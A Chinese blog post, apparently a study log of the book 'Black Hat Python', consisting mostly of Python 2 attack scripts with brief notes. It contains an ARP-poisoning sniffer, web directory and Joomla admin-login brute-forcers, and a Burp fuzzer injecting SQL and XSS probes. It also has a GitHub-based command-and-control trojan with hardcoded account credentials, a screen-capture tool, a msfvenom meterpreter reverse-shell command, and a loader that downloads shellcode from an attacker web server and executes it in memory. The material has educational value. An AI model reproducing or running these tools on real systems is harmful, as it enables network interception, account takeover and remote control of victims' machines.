# coding=utf-8 import time from scapy.all import * import os import sys import threading import signal interface = "eth0" target_ip = "192.168.220.137" # 目标ip gateway_ip = "192.168.220.2" # 网关ip packet_count = 1000 # 设置嗅探的网卡 conf.iface = interface # 关闭输出, verb:详细级别,从0到3,越高越详细 conf.verb = 0 print "[*] Setting up %s" % interface def get_mac(ip_address): # 使用srp函数向目标ip发送arp请求,获取目标ip的mac地址 responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2, retry=10) # 返回从响应数据中获得的MAC地址 for s, r in responses: return r[Ether].src return None def poison_target(gateway_ip, gateway_mac, target_ip, target_mac): poison_target = ARP() poison_target.op = 2 # op表示请求和响应,1代表请求,2代表响应,默认为1 poison_target.psrc = gateway_ip # 源ip poison_target.pdst = target_ip # 目的ip poison_target.hwdst = target_mac # 目的mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst = gateway_mac print "[*] Beginning the ARP poison. [CTRL-C to stop]" while True: try: send(poison_target) send(poison_gateway) time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip, gateway_mac, target_ip, target_mac) print "[*] ARP poison attack finished." return def restore_target(gateway_ip, gateway_mac, target_ip, target_mac): # 以下代码中调用send函数的方式稍有不同 print "[*] Restoring target..." send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac), count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac), count=5) # 发送退出信号到主线程 os.kill(os.getpid(), signal.SIGINT) gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print "[!!!] Failed to get gateway MAC. Exiting." sys.exit(0) else: print "[*] Gateway %s is at %s" % (gateway_ip, gateway_mac) target_mac = get_mac(target_ip) if target_mac is None: print "[!!!] Failed to get target MAC. Exiting." sys.exit(0) else: print "[*] Target %s is at %s" % (target_ip, target_mac) # 启动APR投毒线程,不断给网关/目标投毒,使网关/目标认为攻击者就是目标/网关,从而不断给攻击者发送数据 poison_thread = threading.Thread(target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac)) poison_thread.start() try: print "[*] Starting sniffer fro %d packets" % packet_count bpf_filter = "ip host %s" % target_ip packets = sniff(count=packet_count, filter=bpf_filter, iface=interface) # 将捕获到的数据包输出到文件 wrpcap('arper.pacp', packets) # 还原网络配置 restore_target(gateway_ip, gateway_mac, target_ip, target_mac) except KeyboardInterrupt: # 还原网络配置 restore_target(gateway_ip, gateway_mac, target_ip, target_mac) sys.exit(0)
攻击者需要开启对网关和目标IP地址的流量进行转发的功能
受害者原始arp信息
攻击者ip与mac
开始arp投毒
投毒成功,受害者的arp信息中网关(192.168.220.2)的mac地址变为了攻击者(192.168.220.136)的mac地址
3、处理PCAP文件
这个搞了几天都没搞定,Opencv一直没有安装成功,不建议做。
第五章 Web攻击
1、开源Web应用安装
下载3-8-2版本的joomla
wget https://downloads.joomla.org/cms/joomla3/3-8-2/Joomla_3-8-2-Stable-Full_Package.tar.gz
解压
tar xzf Joomla_3-8-2-Stable-Full_Package.tar.gz
web_app_mapper.py(python2)
import Queue import threading import os import urllib2 threads = 10 target = "http://www.taobao.com" directory = "/home/kali/Mysoft/Joomla_3-8-2/" filters = [".jpg", ".gif", "png", ".css"] os.chdir(directory) web_paths = Queue.Queue() for r, d, f in os.walk("."): for files in f: remote_path = "%s/%s" % (r, files) if remote_path.startswith("."): remote_path = remote_path[1:] if os.path.splitext(files)[1] not in filters: web_paths.put(remote_path) def test_remote(): while not web_paths.empty(): path = web_paths.get() url = "%s%s" % (target, path) request = urllib2.Request(url) try: response = urllib2.urlopen(request) content = response.read() print "[%d] => %s" % (response.code, path) response.close() except urllib2.HTTPError as error: # print "Failed %s" % error.code pass for i in range(threads): print "Spawning thread: %d" % i t = threading.Thread(target=test_remote) t.start()
2、暴力破解目录和文件位置
字典下载
wget https://raw.githubusercontent.com/nathanmyee/SVNDigger/master/SVNDigger/all.txt
content_bruter.py(python2)
# coding=utf-8 import urllib2 import threading import Queue import urllib threads = 1 target_url = "http://192.168.220.137" wordlist_file = "/tmp/all.txt" # from SVNDigger resume = None user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0" def build_wordlist(wordlist_file): # 读入字典文件 fd = open(wordlist_file, "rb") raw_words = fd.readlines() fd.close() found_resume = False words = Queue.Queue() for word in raw_words: word = word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word == resume: found_resume = True print "Resuming wordlist from: %s" % resume else: words.put(word) return words def dir_bruter(word_queue, extensions=None): while not word_queue.empty(): attempt = word_queue.get() attempt_list = [] # 检查是否有文件拓展名,如果没有,就是我们要暴力破解的路径 if "." not in attempt: attempt_list.append("/%s/" % attempt) else: attempt_list.append("/%s" % attempt) if extensions: for extension in extensions: attempt_list.append("/%s%s" % (attempt, extension)) for brute in attempt_list: url = "%s%s" % (target_url, urllib.quote(brute)) try: headers = {} headers["User-Agent"] = user_agent r = urllib2.Request(url, headers=headers) response = urllib2.urlopen(r) if len(response.read()): print "[%d] => %s" % (response.code, url) except urllib2.URLError, e: if hasattr(e, 'code') and e.code != 404: print "!!! %d => %s" % (e.code, url) pass word_queue = build_wordlist(wordlist_file) extensions = [".php", ".bak", ".orig", ".inc"] for i in range(threads): t = threading.Thread(target=dir_bruter, args=(word_queue, extensions)) t.start()
3、暴力破解HTML表格认证
字典下载
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Software/cain-and-abel.txt
joomla_kill.py(python2)
# coding=utf-8 import urllib2 import urllib import cookielib import threading import sys import Queue from HTMLParser import HTMLParser # general settings user_thread = 10 username = "cloudcoll" wordlist_file = "/tmp/cain.txt" resume = None # target specific settings target_url = "http://localhost/administrator/index.php" target_post = "http://localhost/administrator/index.php" username_field = "username" password_field = "passwd" success_check = "Administration - Control Panel" class BruteParser(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.tag_results = {} def handle_starttag(self, tag, attrs): if tag == "input": tag_name = None tag_value = None for name, value in attrs: if name == "name": tag_name = value if name == "value": tag_value = value if tag_name is not None: self.tag_results[tag_name] = value class Bruter(object): def __init__(self, username, words): self.username = username self.password_q = words self.found = False print "Finished setting up for: %s" % username def run_bruteforce(self): for i in range(user_thread): t = threading.Thread(target=self.web_bruter) t.start() def web_bruter(self): while not self.password_q.empty() and not self.found: brute = self.password_q.get().rstrip() jar = cookielib.FileCookieJar("cookies") opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar)) response = opener.open(target_url) page = response.read() print "Trying: %s : %s (%d left)" % (self.username, brute, self.password_q.qsize()) # parse out the hidden fields parser = BruteParser() parser.feed(page) post_tags = parser.tag_results # add our username and password fields post_tags[username_field] = self.username post_tags[password_field] = brute login_data = urllib.urlencode(post_tags) login_response = opener.open(target_post, login_data) login_result = login_response.read() if success_check in login_result: self.found = True print "[*] Bruteforce successful." print "[*] Username: %s" % username print "[*] Password: %s" % brute print "[*] Waiting to exit..." def build_wordlist(wordlist_file): # read in the word list fd = open(wordlist_file, "rb") raw_words = fd.readlines() fd.close() found_resume = False words = Queue.Queue() for word in raw_words: word = word.rstrip() if resume is not None: if found_resume: words.put(word) else: if word == resume: found_resume = True print "Resuming wordlist from: %s" % resume else: words.put(word) return words words = build_wordlist(wordlist_file) bruter_obj = Bruter(username, words) bruter_obj.run_bruteforce()
可能是版本太高破解不出来,安装Joomla 3.1.1报错未安装成功。
第六章 拓展Burp代理
1、Burp模糊测试
bhp_fuzzer.py(python2)
# coding=utf-8 from burp import IBurpExtender from burp import IIntruderPayloadGeneratorFactory from burp import IIntruderPayloadGenerator from java.util import List, ArrayList import random # 定义BurpExtender类,并继承IBurpextender类与IIntruderPayloadGeneratorFactory类 class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): # 传入callbacks参数在Burp中正确注册 def registerExtenderCallbacks(self, callbacks): # 将传递过来的callbacks赋值到类中 self._callbacks = callbacks # 将帮助信息传入到类中 self._helpers = callbacks.getHelpers() # 将拓展在Burp Intruder模块中注册 callbacks.registerIntruderPayloadGeneratorFactory(self) return # 使用return返回拓展名,并设置 def getGeneratorName(self): return "BHP Payload Generator" # 接受attack参数,并返回IIntruderPayloadGenerator类。 def createNewInstance(self, attack): return BHPFuzzer(self, attack) # 定义BHPfuzzer类,并继承IIntruderPayloadGenerator类 class BHPFuzzer(IIntruderPayloadGenerator): # 定义初始方法 def __init__(self, extender, attack): self._extender = extender self._helpers = extender._helpers self._attack = attack print("BHP Fuzzer initialized") # 定义payload上限 self.max_payloads = 10 # 记录payload数量 self.num_iterations = 0 return # 定义停止攻击条件 def hasMorePayloads(self): print "hasMorePayload called." # 当记录的payload达到上限时停止 if self.num_iterations == self.max_payloads: print("No more payloads.") return False else: print("More payloads. Continuing.") return True # 返回payload def getNextPayload(self, current_payload): # convert into a string # 转换成字符串 payload = "".join(chr(x) for x in current_payload) # call our simple mutator to fuzz the POST # 调用简单的变形器对POST请求进行模糊测试 payload = self.mutate_payload(payload) # increase the number of fuzzing attempts # 记录payload次数 self.num_iterations += 1 return payload # 重置函数 def reset(self): # 清零 self.num_iterations = 0 return def mutate_payload(self, original_payload): # pick a simple mutator or even call an external script # like Radamsa does # 仅生成随机数,或者调用一个外部脚本 picker = random.randint(1, 3) # select a random offset in the payload to mutate # 在载荷中选取一个随机的偏移变量去变形 offset = random.randint(0, len(original_payload) - 1) payload = original_payload[:offset] # random offset insert a SQL injection attempt # 在随机便宜位置插入SQL注入尝试 if picker == 1: payload += "'" # jam an XSS attempt in # 插入XSS尝试 if picker == 2: payload += "<script>alert('BHP!');</script>" # repeat a chunk of the original payload a random number # 随机重复原始载荷 if picker == 3: chunk_length = random.randint(len(payload[offset:]), len(payload) - 1) repeater = random.randint(1, 10) for i in range(repeater): payload += original_payload[offset:offset + chunk_length] # add the remaining bits of the payload # 添加载荷中剩余的字节 payload += original_payload[offset:] return payload
2、在Brup中利用Bing服务
由于获取不到bing_api_key ,看不到最终效果,所以没做。
3、利用网站内容生成密码字典
bhp_wordlist.py(python2)
from burp import IBurpExtender from burp import IContextMenuFactory from javax.swing import JMenuItem from java.util import List, ArrayList from java.net import URL import re from datetime import datetime from HTMLParser import HTMLParser class TagStripper(HTMLParser): def __init__(self): HTMLParser.__init__(self) self.page_text = [] def handle_data(self, data): self.page_text.append(data) def handle_comment(self, data): self.handle_data(data) def strip(self, html): self.feed(html) return " ".join(self.page_text) class BurpExtender(IBurpExtender, IContextMenuFactory): def registerExtenderCallbacks(self, callbacks): self._callbacks = callbacks self._helpers = callbacks.getHelpers() self.context = None self.hosts = set() # Start with something we know is common self.wordlist = set(["password"]) # we set up our extension callbacks.setExtensionName("BHP Wordlist") callbacks.registerContextMenuFactory(self) def createMenuItems(self, context_menu): self.context = context_menu menu_list = ArrayList() menu_list.add(JMenuItem("Create Wordlist", actionPerformed=self.wordlist_menu)) return menu_list def wordlist_menu(self, event): # grab the details of what the user clicked http_traffic = self.context.getSelectedMessages() for traffic in http_traffic: http_service = traffic.getHttpService() host = http_service.getHost() self.hosts.add(host) http_response = traffic.getResponse() if http_response: self.get_words(http_response) self.display_wordlist() def get_words(self, http_response): headers, body = http_response.tostring().split('\r\n\r\n', 1) # skip non-text responses if headers.lower().find("content-type: text") == -1: return tag_stripper = TagStripper() page_text = tag_stripper.strip(body) words = re.findall("[a-zA-Z]\w{2,}", page_text) for word in words: # filter out long strings if len(word) <= 12: self.wordlist.add(word.lower()) def mangle(self, word): year = datetime.now().year suffixes = ["", "1", "!", year] mangled = [] for password in (word, word.capitalize()): for suffix in suffixes: mangled.append("%s%s" % (password, suffix)) return mangled def display_wordlist(self): print "#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts) for word in sorted(self.wordlist): for password in self.mangle(word): print password
第七章 基于GitHub的命令和控制
1、Github相关配置
先注册github账号,然后在linux上安装github。
先在github上创建名为chapter7的Repositories,再做相关配置
mkdir trojan cd trojan gitinit mkdir modules config data touch modules/.gitignore config/.gitignore data/.gitignore git add . git commit -m "Adding repo structure for trojan." git remote add origin https://github.com/cloudcoll/chapter7.git git push origin master
dirlister.py
import os
def run(**args): print "[*] In dirlister moduls." files = os.listdir(".") return str(files)
environment.py
import os def run(**args): print "[*] In environment module." return str(os.environ)
push to github
git add
git commit -m "Adding new modules"
git push origin master
abc.json
[ { "module" : "dirlister" }, { "module" : "environment" } ]
2、编写基于GitHub通信的木马
git_trojan.py(python2)
# coding=utf-8 import json import base64 import sys import time import imp import random import threading import Queue import os from github3 import login trojan_id = "abc" trojan_config = "%s.json" % trojan_id data_path = "data/%s/" % trojan_id trojan_modules = [] configured = False task_queue = Queue.Queue() def connect_to_github(): gh = login(username="cloudcoll", password="123333.zfl") repo = gh.repository("cloudcoll", "chapter7") branch = repo.branch("master") return gh, repo, branch def get_file_contents(filepath): gh, repo, branch = connect_to_github() tree = branch.commit.commit.tree.recurse() for filename in tree.tree: if filepath in filename.path: print "[*] Found file %s" % filepath blob = repo.blob(filename._json_data['sha']) return blob.content return None def get_trojan_config(): global configured config_json = get_file_contents(trojan_config) config = json.loads(base64.b64decode(config_json)) configured = True for task in config: if task['module'] not in sys.modules: exec ("import %s" % task['module']) return config def store_module_result(data): gh, repo, branch = connect_to_github() remote_path = "data/%s/%d.data" % (trojan_id, random.randint(1000, 100000)) repo.create_file(remote_path, "Commit message", base64.b64encode(data)) return # 破解python模块导入功能 class GitImporter(object): """docstring for GitImporter""" def __init__(self): self.current_module_code = "" def find_module(self, fullname, path=None): if configured: print "[*] Attempting to retrieve %s" % fullname new_library = get_file_contents("modules/%s" % fullname) if new_library is not None: self.current_module_code = base64.b64decode(new_library) return self return None def load_module(self, name): module = imp.new_module(name) exec self.current_module_code in module.__dict__ sys.modules[name] = module return module def module_runner(module): task_queue.put(1) result = sys.modules[module].run() task_queue.get() # 保存结果到我们的repo中 store_module_result(result) return # 木马的主循环 sys.meta_path = [GitImporter()] while True: if task_queue.empty(): config = get_trojan_config() for task in config: t = threading.Thread(target=module_runner, args=(task['module'],)) t.start() time.sleep(random.randint(1, 10)) time.sleep(random.randint(1000, 10000))
运行不起来,github3.py中一直报错,看不到效果。
第八章 Windows下木马的常用功能
1、有趣的键盘记录
在windows系统、python2.7-32bit的环境下运行
keylogger.py(python2)
代码中有敏感词,freebuf上发不出来,参考链接1,参考链接2
2、截取屏幕快照
在windows系统、python2.7-32bit的环境下运行
screenshotter.py(python2)
# coding=utf-8 import win32gui import win32ui import win32con import win32api # 获得桌面窗口的句柄 hdesktop = win32gui.GetDesktopWindow() # 获得所有显示屏的像素尺寸 width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表 desktop_dc = win32gui.GetWindowDC(hdesktop) img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建基于内存的设备描述表 mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象 screenshot = win32ui.CreateBitmap() screenshot.CreateCompatibleBitmap(img_dc, width, height) mem_dc.SelectObject(screenshot) # 复制屏幕到我们的内存设备描述表中 mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 将位图保存到文件 screenshot.SaveBitmapFile(mem_dc, 'C:\\Python27\\screenshot.bmp') # 释放对象 mem_dc.DeleteDC() win32gui.DeleteObject(screenshot.GetHandle())
3、Python方式的shellcode执行
使用kali生成windows的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.220.138 LPORT=1234 -f raw -o win_backdoor.raw
使用base64进行编码
base64 -i win_backdoor.raw > shellcode.bin
copy到web目录下
使用默认配置开启web服务
尝试访问shellcode,成功访问
使用msf进行监听
msfconsole
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.220.138 set LPORT 1234 exploit
shell_exec.py(python2)
# coding=utf-8 import urllib2 import ctypes import base64 # 从我们的Web服务器上下载shellcode url = "http://192.168.220.138/shellcode.bin" response = urllib2.urlopen(url) # base64解码shellcode shellcode = base64.b64decode(response.read()) # 申请内存空间 shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode)) # 创建shellcode的函数指针 shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p)) # 执行shellcode shellcode_func()
在windows中使用python2.7-32bit执行
kali接收到shell
来源:freebuf.com 2021-05-31 17:35:00 by: cloudcoll
请登录后发表评论
注册